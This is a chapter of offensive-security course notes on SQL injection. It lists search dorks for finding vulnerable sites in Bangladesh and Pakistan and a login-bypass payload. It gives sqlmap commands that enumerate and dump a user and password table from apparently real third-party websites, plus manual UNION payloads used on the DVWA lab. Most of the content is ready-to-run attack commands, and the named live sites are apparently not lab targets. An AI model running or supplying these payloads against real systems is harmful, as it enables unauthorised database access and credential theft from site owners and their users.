

Chapter 15 - SQL Injection

Identifying the websites that are vulnerable to sql injection

inurl:php?id= site:bd

inurl:php?id= site:pk

Bypass Authentication

AND

T T >> T

T F >> F

F T >> F

F F >> F

OR

T T >> T

T F >> T

F T >> T

F F >> F

inurl:adminlogin.php

inurl:admin_login.php

inurl:admin/login.php

inurl:login.php

site:domainname inurl:admin_login.php

username: 1'or'1'='1

password: 1'or'1'='1

Automated using sql map:

```
sudo sqlmap -u http://www.bdfoods.com.bd/awards.php?id=5 --dbs
```

```
sudo sqlmap --url http://www.bdfoods.com.bd/awards.php?id=5 -D bdgroup_foods --tables
```

```
sudo sqlmap -u http://www.bdfoods.com.bd/awards.php?id=5 -D bdgroup_foods -T u_log --columns
```

```
sudo sqlmap -u http://www.bdfoods.com.bd/awards.php?id=5 -D bdgroup_foods -T u_log -C  
user_id,u_em,log__pass --dump
```

Automated using jSQL Injection:

Launch the tool from the menu and paste the url

Ex: <http://www.bdfoods.com.bd/awards.php?id=5>

```
sudo sqlmap -u https://www.jb.com.np/gallery\_detail.php?id=9
```

Manual SQL Injection on DVWA using sql vulnerability:

```
order by 1%23
```

```
order by 2%23
```

```
order by 3%23
```

```
union select 1,2%23
```

```
union select 1,database()%23
```

```
union select 1,table_name from information_schema.tables where table_schema='dvwa'%23
```

```
union select 1,column_name from information_schema.columns where table_name='users'%23
```

```
union select 1,group_concat(user_id,first_name,last_name,user,password) from users%23
```

Resource for Blind SQL Injection

```
https://owasp.org/www-community/attacks/Blind\_SQL\_Injection  
https://www.acunetix.com/websitesecurity/blind-sql-injection/
```

Enumerating MySQL DB Service

```
sudo nmap -p3306 <targetdomain/ip>  
  
sudo apt install default-mysql-client  
  
sudo mysql -h 192.168.0.107 -u root -p --ssl-mode=DISABLED  
show databases;  
use dvwa;  
show tables;  
select * from accounts;
```